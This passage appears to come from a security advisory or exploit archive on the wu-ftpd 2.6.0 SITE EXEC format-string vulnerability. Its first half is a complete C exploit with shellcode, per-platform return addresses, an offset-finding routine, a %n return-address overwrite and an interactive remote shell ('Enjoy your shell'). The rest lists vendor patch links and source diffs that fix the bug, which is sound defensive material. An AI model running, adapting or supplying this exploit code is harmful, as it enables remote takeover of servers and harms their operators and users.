"\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53"
"\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\x30\x62\x69\x6e\x30"
"\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e";
struct platforms
{
char *os;
char *version;
char *code;
int align;
int eipoff;
long ret;
long retloc;
int sleep;
};
struct platforms targ[] =
{
{ "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10,
0xbfbfcc04, 0 },
{ "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510,
0xbfbfec0c, 0 },
{ "FreeBSD 3.4-STABLE", "2.6.0-packages", bsdcode, 2, 1024, 0x80b1510,
0xbfbfe798, 0 },
{ "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c,
0xbfbfcc04, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0,
0xbfffcf74, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0,
0xbfffd074, 0 },
{ NULL, NULL, NULL, 0, NULL, NULL, 0 }
};
long getip(name)
char *name;
{
struct hostent *hp;
long ip;
extern int h_errno;
if ((ip = inet_addr(name)) < 0)
{
if (!(hp = gethostbyname(name)))
{
fprintf(stderr, "gethostbyname(): %s\n",
strerror(h_errno));
exit(1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
int connecttoftp(host, port)
char *host;
int port;
{
int sockfd;
struct sockaddr_in cli;
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_addr.s_addr=getip(host);
cli.sin_port = htons(port);
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
return -1;
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
{
perror("connect");
close(sockfd);
return -1;
}
cin = fdopen(sockfd, "r");
cout = fdopen(sockfd, "w");
if (!cin || !cout)
{
close(sockfd);
return -1;
}
return sockfd;
}
int command(const char *fmt, ...)
{
char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;
va_list args;
if (!cout)
return -1;
bzero(buf1, BUFSIZ);
bzero(buf2, BUFSIZ*2);
va_start(args, fmt);
vsnprintf(buf1, BUFSIZ, fmt, args);
va_end(args);
for (p=buf1,q=buf2;*p;p++,q++)
{
if (*p == '\xff')
{
*q++ = '\xff';
*q = '\xff';
}
else
*q = *p;
}
fprintf(cout, "%s", buf2);
#ifdef DEBUG
fprintf(stderr, "--> ");
fprintf(stderr, "%s", buf2);
fputc('\n', stderr);
#endif
fputs("\r\n", cout);
(void)fflush(cout);
return 0;
}
int getreply(v)
int v;
{
if (!(fgets(recvbuf, BUFSIZ, cin)))
return -1;
if (v)
fprintf(stderr, "<-- %s", recvbuf);
return 0;
}
int logintoftp(login, passwd)
char *login, *passwd;
{
do
repl;
while (strncmp(recvbuf, "220 ", 4));
if ((command("USER %s", login)) < 0)
return -1;
repl;
if (strncmp(recvbuf, "331", 3))
{
puts(recvbuf);
return -1;
}
if ((command("PASS %s", passwd) < 0))
return -1;
do
repl;
while (strncmp(recvbuf, "230 ", 4));
return 0;
}
int checkvuln(void)
{
command("SITE EXEC %%p");
repl;
if(strncmp(recvbuf, "200-", 4))
return -1;
if(strncmp(recvbuf+4, "0x", 2))
return -1;
repl;
return 0;
}
int findeip(eipoff, align)
int eipoff, align;
{
int i, j, off;
char *p1;
char eip1[10], eip2[10];
for (i=eipoff;;i+=8)
{
fprintf(stderr, "at offset %d\n", i);
strcpy(sendbuf, "SITE EXEC ");
for (j=0;j<align;j++) strcat(sendbuf, "a");
strcat(sendbuf, "abcd");
for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f");
for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d%%d");
strcat(sendbuf, "|%%.8x|%%.8x");
if (command(sendbuf) < 0)
return -1;
repl;
if (!(p1 = strchr(recvbuf, '|')))
return -1;
strncpy(eip1, p1+1, 8);
strncpy(eip2, p1+10, 8);
eip1[8] = eip2[8] = '\0';
if (!(strcmp(eip1, "64636261")))
{
off = i;
break;
}
if (!(strcmp(eip2, "64636261")))
{
off = i + 4;
break;
}
repl;
}
repl;
return off;
}
char *putshell(type)
int type;
{
static char buf[400];
int noplen;
char *code = targ[type].code;
noplen = sizeof(buf) - strlen(code) - 2;
memset(buf, 0x90, noplen);
buf[noplen+1] = '\0';
strcat(buf, code);
return buf;
}
int overwrite(ptr, off, align, retloc, eipoff)
long ptr, retloc;
int off, align, eipoff;
{
int i, size = 0;
char buf[100];
fprintf(stderr, "RET: %p, RET location: %p,"
" RET location offset on stack: %d\n",
(void *)ptr, (void *)retloc, off);
if (off >= 12)
{
strcpy(sendbuf, "SITE EXEC ");
for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");
if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");
if (command(sendbuf) < 0)
return -1;
repl;
size = strlen(recvbuf+4) - 2;
repl;
}
fprintf(stderr, "Reply size: %d, New RET: %p\n", size,
(void *)(ptr-size));
strcpy(sendbuf, "SITE EXEC ");
for (i=0;i<align;i++) strcat(sendbuf, "a");
sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff),
(((int)retloc & 0xff00) >> 8),
(((int)retloc & 0xff0000) >> 16),
(((int)retloc & 0xff000000) >> 24));
strcat(sendbuf, buf);
for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");
if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");
strcat(sendbuf, "%%.");
sprintf(buf, "%d", (int)ptr-size);
strcat(sendbuf, buf);
strcat(sendbuf, "d%%n");
if (command(sendbuf) < 0)
return -1;
return 0;
}
int sh(sockfd)
int sockfd;
{
char buf[BUFSIZ];
int c;
fd_set rf, drugi;
char cmd[] = "uname -a ; pwd ; id\n";
FD_ZERO(&rf);
FD_SET(0, &rf);
FD_SET(sockfd, &rf);
write(sockfd, cmd, strlen(cmd));
while (1)
{
bzero(buf, BUFSIZ);
memcpy (&drugi, &rf, sizeof(rf));
select(sockfd+1, &drugi, NULL, NULL, NULL);
if (FD_ISSET(0, &drugi))
{
c = read(0, buf, BUFSIZ);
send(sockfd, buf, c, 0x4);
}
if (FD_ISSET(sockfd, &drugi))
{
c = read(sockfd, buf, BUFSIZ);
if (c<0) return 0;
write(1,buf,c);
}
}
}
int main(argc, argv)
int argc;
char **argv;
{
extern int optind, opterr;
extern char *optarg;
int ch, type, port, eipoff, fd, retoff, align;
long ret, retloc;
char login[BUFSIZ], password[BUFSIZ];
opterr = type = 0;
strcpy(login, "ftp");
port = 21;
while ((ch = getopt(argc, argv, "l:d:t:o")) != -1)
switch((char)ch)
{
case 'l':
strcpy(login, optarg);
break;
case 't':
type = atoi(optarg);
break;
case 'o':
port = atoi(optarg);
break;
case '?':
default:
puts(usage);
exit(0);
}
argc -= optind;
argv += optind;
fprintf(stderr, "Selected platform: %s with WUFTPD %s\n\n",
targ[type].os, targ[type].version);
eipoff = targ[type].eipoff;
align = targ[type].align;
ret = targ[type].ret;
retloc = targ[type].retloc;
if (argc != 1)
{
puts(usage);
exit(0);
}
strcpy(password, putshell(type));
if ((fd = connecttoftp(*argv, port)) < 0)
{
(void)fprintf(stderr, "Connection to %s failed.\n", *argv);
exit(1);
}
(void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);
if (logintoftp(login, password) < 0)
{
(void)fprintf(stderr, "Logging in to %s (%s) failed.\n",
*argv, login);
exit(1);
}
(void)fprintf(stderr, "Logged in as %s. Checking vulnerability.\n",
login);
sleep(targ[type].sleep);
if (checkvuln() < 0)
{
(void)fprintf(stderr, "Sorry, this version isn't"
" vulnerable or uses internal vsnprintf().\n");
exit(1);
}
(void)fprintf(stderr, "Ok, trying to find offset (initial: %d)\n",
eipoff);
if ((retoff = findeip(eipoff, align)) < 0)
{
(void)fprintf(stderr, "\nError finding offset. Adjust"
" align.\n");
exit(1);
}
if (overwrite(ret, retoff, align, retloc, eipoff) < 0)
{
(void)fprintf(stderr, "Error overwriting RET addr.\n");
exit(1);
}
fprintf(stderr, "Wait 10-20 seconds for reply. Enjoy your shell.\n");
sh(fd);
exit(0);
}
SOLUTION
2.6.1 has no this bug.
For RedHat:
Red Hat Linux 5.2:
i386: ftp://updates.redhat.com/5.2/i386/wu-ftpd-2.6.0-2.5.x.i386.rpm
alpha: ftp://updates.redhat.com/5.2/alpha/wu-ftpd-2.6.0-2.5.x.alpha.rpm
sparc: ftp://updates.redhat.com/5.2/sparc/wu-ftpd-2.6.0-2.5.x.sparc.rpm
sources: ftp://updates.redhat.com/5.2/SRPMS/wu-ftpd-2.6.0-2.5.x.src.rpm
Red Hat Linux 6.2:
i386: ftp://updates.redhat.com/6.2/i386/wu-ftpd-2.6.0-14.6x.i386.rpm
alpha: ftp://updates.redhat.com/6.2/alpha/wu-ftpd-2.6.0-14.6x.alpha.rpm
sparc: ftp://updates.redhat.com/6.2/sparc/wu-ftpd-2.6.0-14.6x.sparc.rpm
sources: ftp://updates.redhat.com/6.2/SRPMS/wu-ftpd-2.6.0-14.6x.src.rpm
You are supposed to use the latest fixes for your major release
number. So if you run 6.0 or 6.1 you must use the 6.2 fixes. So
there IS a fix for 6.1 and 6.0 available. If you use RH 4.2,
sorry, but no patch this time.
For Debian GNU/Linux 2.1 alias slink:
Source archives:
http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16-13.1.diff.gz
http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16-13.1.dsc
http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16.orig.tar.gz
Intel ia32 architecture:
http://security.debian.org/dists/slink/updates/binary-i386/wu-ftpd-academ_2.4.2.16-13.1_i386.deb
Sun Sparc architecture:
http://security.debian.org/dists/slink/updates/binary-sparc/wu-ftpd-academ_2.4.2.16-13.1_sparc.deb
For Debian 2.2 alias potato:
Source archives:
http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0-5.1.diff.gz
http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0-5.1.dsc
http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0.orig.tar.gz
Architecture indendent archives:
http://security.debian.org/dists/potato/updates/main/binary-all/wu-ftpd-academ_2.6.0-5.1_all.deb
Alpha architecture:
http://security.debian.org/dists/potato/updates/main/binary-alpha/wu-ftpd_2.6.0-5.1_alpha.deb
ARM architecture:
http://security.debian.org/dists/potato/updates/main/binary-arm/wu-ftpd_2.6.0-5.1_arm.deb
Intel ia32 architecture:
http://security.debian.org/dists/potato/updates/main/binary-i386/wu-ftpd_2.6.0-5.1_i386.deb
PowerPC architecture:
http://security.debian.org/dists/potato/updates/main/binary-powerpc/wu-ftpd_2.6.0-5.1_powerpc.deb
Sun Sparc architecture:
http://security.debian.org/dists/potato/updates/main/binary-sparc/wu-ftpd_2.6.0-5.1_sparc.deb
For Conectiva Linux:
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/servidor-1.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm
For OpenLinux:
OpenLinux Desktop 2.3
ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/
ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS
OpenLinux eServer 2.3 and OpenLinux eBuilder for ECential 3.0
ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/
ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS
OpenLinux eDesktop 2.4
ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/
ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS
For SuSE Linux (For SuSE 6.0, please use the 6.1 updates):
AXP:
ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/wuftpd-2.6.0-121.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/wuftpd-2.6.0-121.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/wuftpd-2.6.0-121.alpha.rpm
i386:
ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/wuftpd-2.6.0-122.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/wuftpd-2.6.0-121.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/wuftpd-2.6.0-121.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/wuftpd-2.6.0-122.i386.rpm
PPC:
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/wuftpd-2.6.0-121.ppc.rpm
For Slackware Linux: The wu-ftpd daemon is part of the tcpip1.tgz
package in the N series. A new tcpip1.tgz package is now
available in the Slackware 7.1 tree. Slackware team have also
provided a seperate patch package for users who have already
installed Slackware 7.1 and just want the new FTP daemon. A
seperate wu-ftpd-only patch package is available in the patches/
subdirectory:
ftp://ftp.slackware.com/pub/slackware/slackware-7.1/patches/
For Mandrake Linux:
6.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm
src: 6.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm
6.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm
src: 6.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm
7.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm
src: 7.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm
7.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm
src: 7.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm
For FreeBSD:
1) Upgrade your entire ports collection and rebuild the wu-ftpd
port.
2) Deinstall the old package and install a new package dated
after the correction date (2000-07-05), obtained from:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/ftp/wu-ftpd-2.6.0.tar.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/ftp/wu-ftpd-2.6.0.tar.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/ftp/wu-ftpd-2.6.0.tar.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/ftp/wu-ftpd-2.6.0.tar.gz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/ftp/wu-ftpd-2.6.0.tar.gz
3) download a new port skeleton for the wu-ftpd port from:
http://www.freebsd.org/ports/
and use it to rebuild the port.
Two temporary ftpd binaries (for HP-UX 11.00 and HP-UX 10.20) can
be found at:
ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.11.0
ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.10.20
ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.10.00-10.10
These are to be installed in /usr/lbin/ftpd, with permissions 544.
Also. be sure to upgrade to ProFTPD 1.2.0
The setproctitle bug is in OpenBSD can be solved by going to:
http://www.openbsd.org/errata.html#ftpd
Slackware Linux Project:
ftp://ftp.slackware.com/pub/slackware/slackware-7.1/patches/wu-ftpd-patch.README
For Turbo Linux:
ftp://ftp.turbolinux.com/pub/updates/4.0/security/wu-ftpd-2.6.1-1.i386.rpm
ftp://ftp.turbolinux.com/pub/updates/4.0/SRPMS/wu-ftpd-2.6.1-1.src.rpm
Note: You must rebuild and install the RPM if you choose to
download and install the SRPM. Simply installing the SRPM alone
WILL NOT CLOSE THE SECURITY HOLE.
There aren't any patches for wu-ftpd-academ. Tomasz Grabowski
made a patch for that bug so You don't need to change Your
wu-ftpd-academ to wu-ftpd if You don't want.
--- src/ftpcmd.y.orig Tue Jun 27 16:57:36 2000
+++ src/ftpcmd.y Tue Jun 27 17:00:42 2000
@@ -1590,13 +1590,13 @@
} else {
int lines = 0;
- lreply(200, cmd);
+ lreply(200, "%s", cmd);
while (fgets(buf, sizeof buf, cmdf)) {
int len = strlen(buf);
if (len>0 && buf[len-1]=='\n')
buf[--len] = '\0';
- lreply(200, buf);
+ lreply(200, "%s", buf);
if (++lines >= 20) {
lreply(200, "*** Truncated ***");
break;
--- src/ftpd.c.orig Tue Jun 27 17:05:30 2000
+++ src/ftpd.c Tue Jun 27 17:06:37 2000
@@ -1775,7 +1775,7 @@
reply(230, "User %s logged in.%s", pw->pw_name, guest ?
" Access restrictions apply." : "");
sprintf(proctitle, "%s: %s", remotehost, pw->pw_name);
- setproctitle(proctitle);
+ setproctitle("%s", proctitle);
if (logging)
syslog(LOG_INFO, "FTP LOGIN FROM %s [%s], %s",
remotehost, remoteaddr, pw->pw_name);
@@ -3337,7 +3337,7 @@
remotehost[sizeof(remotehost)-1]='\0';
sprintf(proctitle, "%s: connected", remotehost);
- setproctitle(proctitle);
+ setproctitle("%s", proctitle);
#if 0 /* this is redundant unless the caller doesn't do *anything*, and
tcpd will pick it up and deal with it better anyways. _H*/
However, wu-ftpd-academ is a dead branch and you should update to
2.6.0 or higher.
Try this one to workaround:
diff -ur wu-ftpd-orig/src/ftpcmd.y wu-ftpd-2.6.0/src/ftpcmd.y
--- wu-ftpd-orig/src/ftpcmd.y Wed Oct 13 08:15:28 1999
+++ wu-ftpd-2.6.0/src/ftpcmd.y Thu Jun 22 22:44:41 2000
@@ -1926,13 +1926,13 @@
}
if (!maxfound)
maxlines = defmaxlines;
- lreply(200, cmd);
+ lreply(200, "%s", cmd);
while (fgets(buf, sizeof buf, cmdf)) {
size_t len = strlen(buf);
if (len > 0 && buf[len - 1] == '\n')
buf[--len] = '\0';
- lreply(200, buf);
+ lreply(200, "%s", buf);
if (maxlines <= 0)
++lines;
else if (++lines >= maxlines) {
diff -ur wu-ftpd-orig/src/ftpd.c wu-ftpd-2.6.0/src/ftpd.c
--- wu-ftpd-orig/src/ftpd.c Thu Jun 22 22:23:40 2000
+++ wu-ftpd-2.6.0/src/ftpd.c Thu Jun 22 22:45:23 2000
@@ -3157,7 +3157,7 @@
reply(230, "User %s logged in.%s", pw->pw_name, guest ?
" Access restrictions apply." : "");
sprintf(proctitle, "%s: %s", remotehost, pw->pw_name);
- setproctitle(proctitle);
+ setproctitle("%s", proctitle);
if (logging)
syslog(LOG_INFO, "FTP LOGIN FROM %s, %s", remoteident, pw->pw_name);
/* H* mod: if non-anonymous user, copy it to "authuser" so everyone can
@@ -5912,7 +5912,7 @@
remotehost[sizeof(remotehost) - 1] = '\0';
sprintf(proctitle, "%s: connected", remotehost);
- setproctitle(proctitle);
+ setproctitle("%s", proctitle);
wu_authenticate();
/* Create a composite source identification string, to improve the logging
For NetBSD:
ftp://ftp.netbsd.org/pub/NetBSD/packages/pkgsrc/net/wu-ftpd/README.html
Since the OPIE software doesn't appear to be actively maintained
any more, here're (trivial) patches to the recent setproctitle()
thing. Actually this is against the version from the FreeBSD
source tree, so the offsets may be a bit different. We don't
actually compile this code in FreeBSD, it's just along for the
ride under /usr/src/contrib with the other OPIE stuff that we do
use.
Index: opieftpd.c
===================================================================
RCS file: /home/ncvs/src/contrib/opie/opieftpd.c,v
retrieving revision 1.3
diff -u -r1.3 opieftpd.c
--- opieftpd.c 2000/04/10 11:18:47 1.3
+++ opieftpd.c 2000/07/10 07:23:02
@@ -633,7 +633,7 @@
#if DOTITLE
snprintf(proctitle, sizeof(proctitle), "%s: anonymous/%s", remotehost,
passwd);
- setproctitle(proctitle);
+ setproctitle("%s", proctitle);
#endif /* DOTITLE */
syslog(LOG_NOTICE, "ANONYMOUS FTP login from %s with ID %s",
remotehost, passwd);
@@ -644,7 +644,7 @@
#if DOTITLE
snprintf(proctitle, sizeof(proctitle), "%s: %s", remotehost, pw->pw_name);
- setproctitle(proctitle);
+ setproctitle("%s", proctitle);
#endif /* DOTITLE */
syslog(LOG_INFO, "FTP login from %s with user name %s", remotehost, pw->pw_name);
}
@@ -1262,7 +1262,7 @@
remotehost[sizeof(remotehost) - 1] = '\0';
#if DOTITLE
snprintf(proctitle, sizeof(proctitle), "%s: connected", remotehost);
- setproctitle(proctitle);
+ setproctitle("%s", proctitle);
#endif /* DOTITLE */
t = time((time_t *) 0);